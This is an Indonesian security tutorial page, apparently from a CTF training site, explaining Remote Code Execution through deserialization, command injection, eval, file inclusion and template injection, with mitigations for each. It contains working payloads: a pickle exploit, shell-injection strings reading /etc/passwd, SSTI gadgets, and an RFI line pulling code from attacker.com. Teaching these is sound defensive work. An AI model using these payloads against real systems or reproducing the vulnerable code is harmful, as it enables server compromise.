TDCTF Academy Logo TDCTF ACADEMY

Remote Code Execution (RCE)

Pendahuluan

Remote Code Execution (RCE) adalah kerentanan paling kritis dalam keamanan aplikasi web, memungkinkan penyerang menjalankan kode atau perintah arbitrer pada server target. RCE memberikan penyerang kontrol penuh atas sistem - membaca, memodifikasi, atau menghapus data; menginstal malware; atau menggunakan server sebagai titik awal untuk serangan lebih lanjut.

RCE sering disebut sebagai "puncak" eksploitasi karena dampaknya yang sangat parah dan sulit dipulihkan tanpa backup yang baik.

Penyebab Utama RCE

1. Unsafe Deserialization

Deserialisasi data yang tidak aman memungkinkan penyerang mengeksekusi kode dengan memanipulasi data serialized.

Cara kerja: Aplikasi menerima data serialized (Python pickle, Java Serializable, PHP serialized objects) dan mendeserialisasinya tanpa validasi. Penyerang membuat objet jahat yang mengeksekusi kode saat dideserialisasi.

Contoh (Python pickle):

import pickle, os

class Exploit:
def __reduce__(self):
return (os.system, ('id',))

payload = pickle.dumps(Exploit())

Mitigasi: Jangan pernah mendeserialisasi data dari sumber tidak terpercaya. Gunakan format data sederhana seperti JSON. Implementasikan signing atau enkripsi untuk data serialized yang diperlukan.

2. Command Injection

Penyerang menyisipkan perintah sistem operasi ke dalam input yang diteruskan ke shell.

Contoh rentan (Python):

import os
user_input = "127.0.0.1"
os.system(f"ping -c 4 {user_input}")

# Input: 127.0.0.1; cat /etc/passwd
# Perintah dijalankan: ping -c 4 127.0.0.1; cat /etc/passwd

Payload umum:

; id
| whoami
`ls -la`
\$(cat /etc/passwd)
|| echo exploited

Mitigasi:

  • Hindari fungsi yang langsung mengeksekusi shell (os.system, subprocess.call(shell=True), exec, passthru)
  • Gunakan API yang aman: subprocess.run(['ping', '-c', '4', user_input]) dengan argumen sebagai list
  • Validasi input dengan whitelist karakter yang diizinkan
  • Escape special characters (;, |, &&, ||, $, `, >, <)

3. Eval Injection / Code Injection

Penyerang menyisipkan kode yang akan dieksekusi interpreter bahasa pemrograman.

Contoh rentan (PHP):

$code = $_GET['code'];
eval($code);
// ?code=phpinfo()
// ?code=system('id')

Contoh rentan (Python):

expression = input("Enter expression: ")
result = eval(expression)
# Input: __import__('os').system('id')

Mitigasi:

  • Jangan gunakan eval(), exec(), assert() dengan input pengguna
  • Gunakan parser atau interpreter khusus yang terbatas
  • Implementasikan sandboxing jika evaluasi kode diperlukan

4. File Inclusion (LFI / RFI)

Local File Inclusion (LFI): Penyerang menyertakan file lokal yang dapat mengeksekusi kode (log file, session files, /proc/self/environ).

<?php include($_GET['page']); ?>
// ?page=../../tmp/shell.txt

Remote File Inclusion (RFI): Penyerang menyertakan file dari server remote.

// ?page=http://attacker.com/evil.txt

Mitigasi:

  • Gunakan whitelist file yang diizinkan untuk include
  • Hindari penggunaan input pengguna langsung dalam fungsi include/require
  • Nonaktifkan allow_url_include di PHP

5. Server-Side Template Injection (SSTI)

Penyerang menyisipkan kode template yang dieksekusi oleh template engine.

Contoh (Jinja2 / Flask):

from flask import render_template_string
render_template_string("Hello " + user_input)
# Input: {{ config }}
# Input: {{ ''.__class__.__mro__[1].__subclasses__() }}
# Input: {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

Payload SSTI untuk berbagai engine:

  • Jinja2: {{ config }}, {{ ''.__class__.__mro__[2].__subclasses__() }}
  • Twig: {{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}
  • FreeMarker: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
  • Velocity: #set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("exec","".class).invoke(...)

Mitigasi:

  • Jangan gabungkan template dengan input pengguna langsung
  • Gunakan template engine mode pasif (auto-escaping, sandbox)
  • Validasi input sebelum dimasukkan ke template
  • Gunakan render dengan context terbatas (tidak memberikan akses ke objek sensitif)

Dampak RCE

  • Full System Compromise: Akses root/administrator ke server.
  • Data Exfiltration: Membaca database, file konfigurasi, kunci SSH, sertifikat.
  • Persistent Backdoor: Instalasi backdoor untuk akses jangka panjang.
  • Lateral Movement: Menggunakan server yang dikompromikan untuk menyerang sistem lain.
  • Cryptocurrency Mining: Memasang miner untuk cryptocurrency.
  • Ransomware: Enkripsi data untuk tebusan.
  • Botnet Recruitment: Merekrut server ke dalam botnet untuk DDoS.

Mitigasi Komprehensif

1. Disable Dangerous Functions

  • Nonaktifkan eval(), exec(), system(), passthru(), popen(), shell_exec() jika tidak diperlukan
  • Di PHP: disable_functions dalam php.ini
  • Di Python: gunakan RestrictedPython atau subprocess dengan argumen list

2. Input Validation

  • Gunakan whitelist, bukan blocklist
  • Validasi tipe, format, panjang input
  • Escape atau sanitasi input untuk konteks yang sesuai

3. Sandboxing

  • Jalankan kode dalam lingkungan terisolasi (Docker, chroot, seccomp, Firejail)
  • Gunakan library seperti RestrictedPython (Python), Rhino (Java) dengan mode aman

4. Least Privilege

  • Jalankan aplikasi dengan user non-root
  • Batasi akses file dan kemampuan sistem
  • Gunakan container dengan read-only filesystem

5. Secure Coding Practices

  • Jangan gabungkan input pengguna langsung ke dalam fungsi eksekusi
  • Gunakan prepared statements untuk SQL (mencegah RCE via database)
  • Audit dependency untuk kerentanan deserialization

6. Web Application Firewall (WAF)

  • Deteksi pola serangan RCE (command injection, SSTI payload)
  • ModSecurity dengan OWASP CRS

7. Regular Security Updates

  • Patch server, framework, library secara teratur
  • Banyak RCE terjadi karena CVE yang sudah diketahui tapi tidak dipatch

Kesimpulan

RCE adalah "game over" untuk keamanan sistem. Setelah penyerang mendapatkan eksekusi kode, semua pertahanan aplikasi menjadi tidak relevan. Oleh karena itu, pencegahan adalah satu-satunya strategi yang efektif. Pendekatan defense-in-depth - menghindari fungsi berbahaya, validasi input ketat, sandboxing, dan least privilege - adalah kunci untuk meminimalkan risiko RCE.

PADA HALAMAN INI